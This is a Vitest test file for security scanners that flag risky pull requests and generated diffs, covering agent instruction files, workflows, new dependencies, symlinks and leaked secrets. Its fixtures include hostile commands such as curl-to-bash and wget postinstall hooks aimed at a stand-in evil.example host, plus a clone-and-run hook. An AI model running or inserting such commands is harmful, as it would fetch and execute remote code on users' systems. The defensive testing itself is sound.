Skip to content
Source
Sign inSign up
TanStack/ai
Open History to see the last commit

security.test.ts

386 lines11.3 KB

1import { spawnSync } from 'node:child_process'
2import { describe, expect, it } from 'vitest'
3import {
4 auditPullSecurity,
5 findNewDependencies,
6 scanGeneratedDiff,
7 scanPullSecurity,
8} from './security.ts'
9​
10function snapshotFile(
11 overrides: Partial<
12 Parameters<typeof auditPullSecurity>[0]['files'][number]
13 > = {},
14) {
15 return {
16 path: 'package.json',
17 patch: '@@ -1 +1 @@\n-old\n+new',
18 baseMode: '100644',
19 headMode: '100644',
20 before: '{}',
21 after: '{}',
22 ...overrides,
23 }
25​
26describe('scanPullSecurity', () => {
27 it('is clean for a normal source patch', () => {
28 expect(
29 scanPullSecurity([
30 {
31 path: 'packages/ai/src/chat.ts',
32 patch: '@@ -1,2 +1,3 @@\n line\n+return messages\n',
33 },
34 ]),
35 ).toEqual({ ok: true, reasons: [] })
36 })
37​
38 it.each([
39 'AGENTS.md',
40 '.agents/skills/review/SKILL.md',
41 '.claude/settings.json',
42 '.grok/config.toml',
43 '.gitmodules',
44 ])('blocks sensitive path %s', (path) => {
45 expect(
46 scanPullSecurity([{ path, patch: '@@ -1 +1 @@\n-old\n+new\n' }]),
47 ).toEqual({
48 ok: false,
49 reasons: [
50 `${path}: changes security-sensitive instructions or automation`,
51 ],
52 })
53 })
54​
55 it('blocks a file whose patch is unavailable', () => {
56 expect(
57 scanPullSecurity([{ path: 'packages/ai/src/large.ts', patch: null }]),
58 ).toEqual({
59 ok: false,
60 reasons: ['packages/ai/src/large.ts: patch unavailable'],
61 })
62 })
63​
64 it('blocks a rename from a sensitive path', () => {
65 expect(
66 scanPullSecurity([
67 {
68 path: 'docs/old-agent-rules.md',
69 previousPath: 'AGENTS.md',
70 patch: '@@ -1 +1 @@\n-old\n+new\n',
71 },
72 ]),
73 ).toEqual({
74 ok: false,
75 reasons: [
76 'AGENTS.md: changes security-sensitive instructions or automation',
77 ],
78 })
79 })
80​
81 it('blocks added dependencies in package.json', () => {
82 expect(
83 findNewDependencies(
84 '{"dependencies":{"react":"19.0.0"}}',
85 '{"dependencies":{"react":"19.1.0","left-pad":"1.3.0"}}',
86 ),
87 ).toEqual(['left-pad'])
88 })
89​
90 it('allows dependency version changes in package.json', () => {
91 expect(
92 findNewDependencies(
93 '{"dependencies":{"react":"19.0.0"}}',
94 '{"dependencies":{"react":"19.1.0"}}',
95 ),
96 ).toEqual([])
97 })
98​
99 it('compares the fixed manifest blobs', () => {
100 expect(
101 auditPullSecurity({
102 mergeBase: 'base',
103 diff: '',
104 files: [
105 snapshotFile({ after: '{"dependencies":{"left-pad":"1.3.0"}}' }),
106 ],
107 }),
108 ).toEqual({
109 ok: false,
110 reasons: ['package.json: adds dependencies: left-pad'],
111 })
112 })
113​
114 it('blocks a deleted lockfile when Git represents a rename as delete and add', () => {
115 expect(
116 auditPullSecurity({
117 mergeBase: 'base',
118 diff: '',
119 files: [
120 snapshotFile({ path: 'pnpm-lock.yaml', headMode: '000000' }),
121 snapshotFile({ path: 'old-lockfile.yaml', baseMode: '000000' }),
122 ],
123 }),
124 ).toEqual({
125 ok: false,
126 reasons: ['pnpm-lock.yaml: lockfile changes require manual review'],
127 })
128 })
129​
130 it.each(['120000', '160000'])('blocks unsafe Git mode %s', (headMode) => {
131 expect(
132 auditPullSecurity({
133 mergeBase: 'base',
134 diff: '',
135 files: [snapshotFile({ path: 'link', baseMode: '000000', headMode })],
136 }),
137 ).toEqual({ ok: false, reasons: [`link: unsafe Git mode ${headMode}`] })
138 })
139​
140 it('alerts on pull_request_target in a workflow', () => {
141 expect(
142 scanPullSecurity([
143 {
144 path: '.github/workflows/ci.yml',
145 patch:
146 '@@ -1,2 +1,4 @@\n on:\n+ pull_request_target:\n+ types: [opened]\n',
147 },
148 ]),
149 ).toEqual({
150 ok: false,
151 reasons: [
152 '.github/workflows/ci.yml: changes a workflow',
153 '.github/workflows/ci.yml: adds pull_request_target',
154 ],
155 })
156 })
157​
158 it('alerts on curl piped to a shell', () => {
159 expect(
160 scanPullSecurity([
161 {
162 path: 'scripts/setup.sh',
163 patch:
164 '@@ -1 +1,2 @@\n #!/bin/sh\n+curl https://evil.example/x.sh | bash\n',
165 },
166 ]),
167 ).toEqual({
168 ok: false,
169 reasons: ['scripts/setup.sh: shell download or reverse shell'],
170 })
171 })
172​
173 it('alerts on a package.json postinstall that fetches the network', () => {
174 expect(
175 scanPullSecurity([
176 {
177 path: 'packages/ai/package.json',
178 patch:
179 '@@ -1,3 +1,4 @@\n {\n+ "postinstall": "wget https://evil.example/x.js"\n }\n',
180 },
181 ]),
182 ).toEqual({
183 ok: false,
184 reasons: [
185 'packages/ai/package.json: "postinstall": "wget https://evil.example/x.js" fetches the network',
186 ],
187 })
188 })
189​
190 it('alerts on a new binary path', () => {
191 expect(
192 scanPullSecurity([{ path: 'tools/helper.exe', patch: null }]),
193 ).toEqual({
194 ok: false,
195 reasons: ['tools/helper.exe: new binary or script payload'],
196 })
197 })
198​
199 it('alerts when a workflow file changes, even if the patch only deletes', () => {
200 expect(
201 scanPullSecurity([
202 {
203 path: '.github/workflows/ci.yml',
204 patch: '@@ -1,2 +1,1 @@\n- pull_request_target:\n on:\n',
205 },
206 ]),
207 ).toEqual({
208 ok: false,
209 reasons: ['.github/workflows/ci.yml: changes a workflow'],
210 })
211 })
212​
213 it('alerts on curl piped to /bin/bash', () => {
214 expect(
215 scanPullSecurity([
216 {
217 path: 'scripts/setup.sh',
218 patch:
219 '@@ -1 +1,2 @@\n #!/bin/sh\n+curl https://evil.example/x.sh | /bin/bash\n',
220 },
221 ]),
222 ).toEqual({
223 ok: false,
224 reasons: ['scripts/setup.sh: shell download or reverse shell'],
225 })
226 })
227​
228 it('alerts on a package.json postinstall that clones then runs', () => {
229 expect(
230 scanPullSecurity([
231 {
232 path: 'packages/ai/package.json',
233 patch:
234 '@@ -1,3 +1,4 @@\n {\n+ "postinstall": "git clone ssh://git@host/repo /tmp/p && /tmp/p/install"\n }\n',
235 },
236 ]),
237 ).toEqual({
238 ok: false,
239 reasons: [
240 'packages/ai/package.json: "postinstall": "git clone ssh://git@host/repo /tmp/p && /tmp/p/install" fetches the network',
241 ],
242 })
243 })
244})
245​
246describe('scanGeneratedDiff', () => {
247 it('blocks a second patch without a diff --git header', () => {
248 const patch =
249 'diff --git a/src/safe.txt b/src/safe.txt\n--- a/src/safe.txt\n+++ b/src/safe.txt\n@@ -1 +1 @@\n-old\n+new\n--- a/.github/workflows/probe.yml\n+++ b/.github/workflows/probe.yml\n@@ -1 +1 @@\n-old\n+new\n'
250 const parsed = spawnSync('git', ['apply', '--numstat', '-z', '-'], {
251 input: patch,
252 encoding: 'utf8',
253 })
254​
255 expect(parsed.status, parsed.stderr).toBe(0)
256 expect(parsed.stdout).toBe(
257 '1\t1\tsrc/safe.txt\0' + '1\t1\t.github/workflows/probe.yml\0',
258 )
259 expect(scanGeneratedDiff(patch).ok).toBe(false)
260 })
261​
262 it('allows header-shaped source lines within a hunk', () => {
263 expect(
264 scanGeneratedDiff(
265 'diff --git a/src/safe.txt b/src/safe.txt\n--- a/src/safe.txt\n+++ b/src/safe.txt\n@@ -1 +1 @@\n--- old source\n+++ new source\n',
266 ),
267 ).toEqual({ ok: true, reasons: [] })
268 })
269​
270 it('allows multiple hunks with context and missing final newlines', () => {
271 const patch =
272 'diff --git a/src/safe.txt b/src/safe.txt\n--- a/src/safe.txt\n+++ b/src/safe.txt\n@@ -1,2 +1,2 @@\n context\n-old\n+new\n@@ -10 +10 @@\n-old end\n\\ No newline at end of file\n+new end\n\\ No newline at end of file\n'
273​
274 expect(scanGeneratedDiff(patch)).toEqual({ ok: true, reasons: [] })
275 })
276​
277 it.each([
278 '--- a/src/safe.txt\n+++ b/src/safe.txt\n--- a/src/safe.txt\n+++ b/src/safe.txt\n@@ -1 +1 @@\n-old\n+new\n',
279 'rename from src/safe.txt\nrename to .github/workflows/probe.yml\n--- a/src/safe.txt\n+++ b/src/safe.txt\n@@ -1 +1 @@\n-old\n+new\n',
280 '--- a/src/safe.txt\n+++ b/src/safe.txt\n@@ -1,2 +1 @@\n-old\n+new\n',
281 ])('rejects ambiguous headers or incomplete hunks: %s', (body) => {
282 expect(
283 scanGeneratedDiff(`diff --git a/src/safe.txt b/src/safe.txt\n${body}`).ok,
284 ).toBe(false)
285 })
286​
287 it('allows a normal source edit', () => {
288 expect(
289 scanGeneratedDiff(
290 'diff --git a/src/chat.ts b/src/chat.ts\n--- a/src/chat.ts\n+++ b/src/chat.ts\n@@ -1 +1 @@\n-old\n+new\n',
291 ),
292 ).toEqual({ ok: true, reasons: [] })
293 })
294​
295 it('blocks edits to security-sensitive files', () => {
296 expect(
297 scanGeneratedDiff(
298 'diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml\n--- a/.github/workflows/ci.yml\n+++ b/.github/workflows/ci.yml\n@@ -1 +1 @@\n-old\n+new\n',
299 ),
300 ).toEqual({
301 ok: false,
302 reasons: ['.github/workflows/ci.yml: changes a workflow'],
303 })
304 })
305​
306 it('blocks symlinks and binary patches', () => {
307 expect(
308 scanGeneratedDiff(
309 'diff --git a/link b/link\nnew file mode 120000\n--- /dev/null\n+++ b/link\n@@ -0,0 +1 @@\n+target\ndiff --git a/image.png b/image.png\nGIT binary patch\n',
310 ),
311 ).toEqual({
312 ok: false,
313 reasons: [
314 'link: creates or changes a symlink or submodule',
315 'image.png: contains a binary patch',
316 ],
317 })
318 })
319​
320 it('blocks an existing symlink and a new executable', () => {
321 expect(
322 scanGeneratedDiff(
323 'diff --git a/link b/link\nindex 1de5659..2ab19ae 120000\n--- a/link\n+++ b/link\n@@ -1 +1 @@\n-old\n+new\ndiff --git a/run.sh b/run.sh\nnew file mode 100755\n--- /dev/null\n+++ b/run.sh\n@@ -0,0 +1 @@\n+echo safe\n',
324 ),
325 ).toEqual({
326 ok: false,
327 reasons: [
328 'link: creates or changes a symlink or submodule',
329 'run.sh: creates an executable file',
330 ],
331 })
332 })
333​
334 it('blocks malformed diff headers', () => {
335 expect(scanGeneratedDiff('--- a/src/chat.ts\n+++ b/src/chat.ts\n')).toEqual(
336 {
337 ok: false,
338 reasons: ['generated diff has content before its first file header'],
339 },
340 )
341 })
342​
343 it('blocks patch path headers that target a different file', () => {
344 expect(
345 scanGeneratedDiff(
346 'diff --git a/src/safe.ts b/src/safe.ts\n--- a/src/safe.ts\n+++ b/.github/workflows/ci.yml\n@@ -1 +1 @@\n-old\n+new\n',
347 ),
348 ).toEqual({
349 ok: false,
350 reasons: ['src/safe.ts: patch path headers do not match the file header'],
351 })
352 })
353​
354 it('allows valid create and delete patch headers', () => {
355 expect(
356 scanGeneratedDiff(
357 'diff --git a/src/new.ts b/src/new.ts\nnew file mode 100644\n--- /dev/null\n+++ b/src/new.ts\n@@ -0,0 +1 @@\n+new\ndiff --git a/src/old.ts b/src/old.ts\ndeleted file mode 100644\n--- a/src/old.ts\n+++ /dev/null\n@@ -1 +0,0 @@\n-old\n',
358 ),
359 ).toEqual({ ok: true, reasons: [] })
360 })
361​
362 it('blocks generated package manifest changes', () => {
363 expect(
364 scanGeneratedDiff(
365 'diff --git a/package.json b/package.json\n--- a/package.json\n+++ b/package.json\n@@ -1 +1 @@\n-{}\n+{"dependencies":{}}\n',
366 ),
367 ).toEqual({
368 ok: false,
369 reasons: [
370 'package.json: generated edits cannot change package manifests',
371 ],
372 })
373 })
374​
375 it('blocks a sandbox secret anywhere in a generated diff', () => {
376 expect(
377 scanGeneratedDiff(
378 'diff --git a/src/key.ts b/src/key.ts\n--- a/src/key.ts\n+++ b/src/key.ts\n@@ -0,0 +1 @@\n+secret-key\n',
379 ['secret-key'],
380 ),
381 ).toEqual({
382 ok: false,
383 reasons: ['generated diff contains a sandbox secret'],
384 })
385 })
386})